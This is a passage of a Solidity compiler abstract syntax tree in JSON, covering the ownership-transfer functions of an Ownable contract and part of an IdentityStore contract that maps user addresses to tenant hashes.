"modifiers": [
{
"arguments": null,
"id": 36,
"modifierName": {
"argumentTypes": null,
"id": 35,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "1037:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "1037:9:0"
}
],
"name": "renounceOwnership",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 34,
"nodeType": "ParameterList",
"parameters": [],
"src": "1027:2:0"
},
"payable": false,
"returnParameters": {
"id": 37,
"nodeType": "ParameterList",
"parameters": [],
"src": "1047:0:0"
},
"scope": 85,
"src": "1001:111:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 60,
"nodeType": "Block",
"src": "1337:40:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 57,
"name": "_newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 51,
"src": "1362:9:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 56,
"name": "_transferOwnership",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 84,
"src": "1343:18:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$returns$__$",
"typeString": "function (address)"
}
},
"id": 58,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1343:29:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 59,
"nodeType": "ExpressionStatement",
"src": "1343:29:0"
}
]
},
"documentation": "@dev Allows the current owner to transfer control of the contract to a newOwner.\n@param _newOwner The address to transfer ownership to.",
"id": 61,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [
{
"arguments": null,
"id": 54,
"modifierName": {
"argumentTypes": null,
"id": 53,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "1327:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "1327:9:0"
}
],
"name": "transferOwnership",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 52,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 51,
"name": "_newOwner",
"nodeType": "VariableDeclaration",
"scope": 61,
"src": "1301:17:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 50,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1301:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "1300:19:0"
},
"payable": false,
"returnParameters": {
"id": 55,
"nodeType": "ParameterList",
"parameters": [],
"src": "1337:0:0"
},
"scope": 85,
"src": "1274:103:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 83,
"nodeType": "Block",
"src": "1568:115:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"id": 71,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"id": 67,
"name": "_newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 63,
"src": "1582:9:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "BinaryOperation",
"operator": "!=",
"rightExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"hexValue": "30",
"id": 69,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "1603:1:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
}
],
"id": 68,
"isConstant": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "ElementaryTypeNameExpression",
"src": "1595:7:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_address_$",
"typeString": "type(address)"
},
"typeName": "address"
},
"id": 70,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "typeConversion",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1595:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "1582:23:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
}
],
"id": 66,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 532,
"src": "1574:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$",
"typeString": "function (bool) pure"
}
},
"id": 72,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1574:32:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 73,
"nodeType": "ExpressionStatement",
"src": "1574:32:0"
},
{
"eventCall": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 75,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "1638:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"argumentTypes": null,
"id": 76,
"name": "_newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 63,
"src": "1645:9:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 74,
"name": "OwnershipTransferred",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 13,
"src": "1617:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_event_nonpayable$_t_address_$_t_address_$returns$__$",
"typeString": "function (address,address)"
}
},
"id": 77,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1617:38:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 78,
"nodeType": "EmitStatement",
"src": "1612:43:0"
},
{
"expression": {
"argumentTypes": null,
"id": 81,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"id": 79,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "1661:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 80,
"name": "_newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 63,
"src": "1669:9:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "1661:17:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 82,
"nodeType": "ExpressionStatement",
"src": "1661:17:0"
}
]
},
"documentation": "@dev Transfers control of the contract to a newOwner.\n@param _newOwner The address to transfer ownership to.",
"id": 84,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [],
"name": "_transferOwnership",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 64,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 63,
"name": "_newOwner",
"nodeType": "VariableDeclaration",
"scope": 84,
"src": "1540:17:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 62,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1540:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "1539:19:0"
},
"payable": false,
"returnParameters": {
"id": 65,
"nodeType": "ParameterList",
"parameters": [],
"src": "1568:0:0"
},
"scope": 85,
"src": "1512:171:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "internal"
}
],
"scope": 429,
"src": "217:1468:0"
},
{
"baseContracts": [
{
"arguments": null,
"baseName": {
"contractScope": null,
"id": 86,
"name": "Ownable",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 85,
"src": "1713:7:0",
"typeDescriptions": {
"typeIdentifier": "t_contract$_Ownable_$85",
"typeString": "contract Ownable"
}
},
"id": 87,
"nodeType": "InheritanceSpecifier",
"src": "1713:7:0"
}
],
"contractDependencies": [
85
],
"contractKind": "contract",
"documentation": null,
"fullyImplemented": true,
"id": 428,
"linearizedBaseContracts": [
428,
85
],
"name": "IdentityStore",
"nodeType": "ContractDefinition",
"nodes": [
{
"canonicalName": "IdentityStore.User",
"id": 94,
"members": [
{
"constant": false,
"id": 89,
"name": "tenantHash",
"nodeType": "VariableDeclaration",
"scope": 94,
"src": "1752:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 88,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "1752:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 91,
"name": "timestamp",
"nodeType": "VariableDeclaration",
"scope": 94,
"src": "1780:17:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 90,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "1780:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 93,
"name": "tenantId",
"nodeType": "VariableDeclaration",
"scope": 94,
"src": "1807:15:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
},
"typeName": {
"id": 92,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "1807:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"value": null,
"visibility": "internal"
}
],
"name": "User",
"nodeType": "StructDefinition",
"scope": 428,
"src": "1730:99:0",
"visibility": "public"
},
{
"constant": false,
"id": 98,
"name": "tenantAddressMapping",
"nodeType": "VariableDeclaration",
"scope": 428,
"src": "1835:53:0",
"stateVariable": true,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User)"
},
"typeName": {
"id": 97,
"keyType": {
"id": 95,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1843:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Mapping",
"src": "1835:24:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User)"
},
"valueType": {
"contractScope": null,
"id": 96,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "1854:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
}
},
"value": null,
"visibility": "private"
},
{
"constant": false,
"id": 102,
"name": "tenantHashMapping",
"nodeType": "VariableDeclaration",
"scope": 428,
"src": "1894:53:0",
"stateVariable": true,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
},
"typeName": {
"id": 101,
"keyType": {
"id": 99,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "1902:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"nodeType": "Mapping",
"src": "1894:27:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
},
"valueType": {
"id": 100,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1913:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
},
"value": null,
"visibility": "private"
},
{
"body": {
"id": 208,
"nodeType": "Block",
"src": "2105:1133:0",
"statements": [
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"id": 123,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"id": 118,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "2151:32:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 116,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2170:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 115,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "2152:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 117,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2152:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"nodeType": "BinaryOperation",
"operator": "&&",
"rightExpression": {
"argumentTypes": null,
"id": 122,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "2187:34:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 120,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2209:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 119,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "2188:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 121,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2188:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"src": "2151:70:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 146,
"nodeType": "IfStatement",
"src": "2147:313:0",
"trueBody": {
"id": 145,
"nodeType": "Block",
"src": "2223:237:0",
"statements": [
{
"assignments": [
125
],
"declarations": [
{
"constant": false,
"id": 125,
"name": "newUser",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2250:19:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 124,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "2250:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 131,
"initialValue": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 127,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2277:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 128,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 108,
"src": "2290:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
{
"argumentTypes": null,
"id": 129,
"name": "_tenantId",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 110,
"src": "2302:9:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 126,
"name": "User",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 94,
"src": "2272:4:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_struct$_User_$94_storage_ptr_$",
"typeString": "type(struct IdentityStore.User storage pointer)"
}
},
"id": 130,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "structConstructorCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2272:40:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory",
"typeString": "struct IdentityStore.User memory"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "2250:62:0"
},
{
"expression": {
"argumentTypes": null,
"id": 136,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 132,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "2326:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 134,
"indexExpression": {
"argumentTypes": null,
"id": 133,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2347:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "2326:34:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 135,
"name": "newUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 125,
"src": "2363:7:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"src": "2326:44:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 137,
"nodeType": "ExpressionStatement",
"src": "2326:44:0"
},
{
"expression": {
"argumentTypes": null,
"id": 142,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 138,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "2384:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 140,
"indexExpression": {
"argumentTypes": null,
"id": 139,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2402:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "2384:30:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 141,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2417:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "2384:45:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 143,
"nodeType": "ExpressionStatement",
"src": "2384:45:0"
},
{
"expression": null,
"functionReturnParameters": 114,
"id": 144,
"nodeType": "Return",
"src": "2443:7:0"
}
]
}
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"id": 154,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 148,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2521:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 147,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "2503:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 149,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2503:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"nodeType": "BinaryOperation",
"operator": "&&",
"rightExpression": {
"argumentTypes": null,
"id": 153,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "2538:34:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 151,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2560:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 150,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "2539:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 152,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2539:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"src": "2503:69:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 170,
"nodeType": "IfStatement",
"src": "2499:254:0",
"trueBody": {
"id": 169,
"nodeType": "Block",
"src": "2574:179:0",
"statements": [
{
"assignments": [
156
],
"declarations": [
{
"constant": false,
"id": 156,
"name": "oldHash",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2601:15:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 155,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "2601:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 161,
"initialValue": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 157,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "2619:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 159,
"indexExpression": {
"argumentTypes": null,
"id": 158,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2640:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "2619:34:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 160,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantHash",
"nodeType": "MemberAccess",
"referencedDeclaration": 89,
"src": "2619:45:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "2601:63:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 163,
"name": "oldHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 156,
"src": "2689:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 164,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2698:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 165,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 108,
"src": "2711:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
],
"id": 162,
"name": "updateHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 320,
"src": "2678:10:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_bytes32_$_t_bytes32_$_t_uint256_$returns$__$",
"typeString": "function (bytes32,bytes32,uint256)"
}
},
"id": 166,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2678:44:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 167,
"nodeType": "ExpressionStatement",
"src": "2678:44:0"
},
{
"expression": null,
"functionReturnParameters": 114,
"id": 168,
"nodeType": "Return",
"src": "2736:7:0"
}
]
}
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"id": 178,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 172,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2828:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 171,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "2807:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 173,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2807:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"nodeType": "BinaryOperation",
"operator": "&&",
"rightExpression": {
"argumentTypes": null,
"id": 177,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "2844:32:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
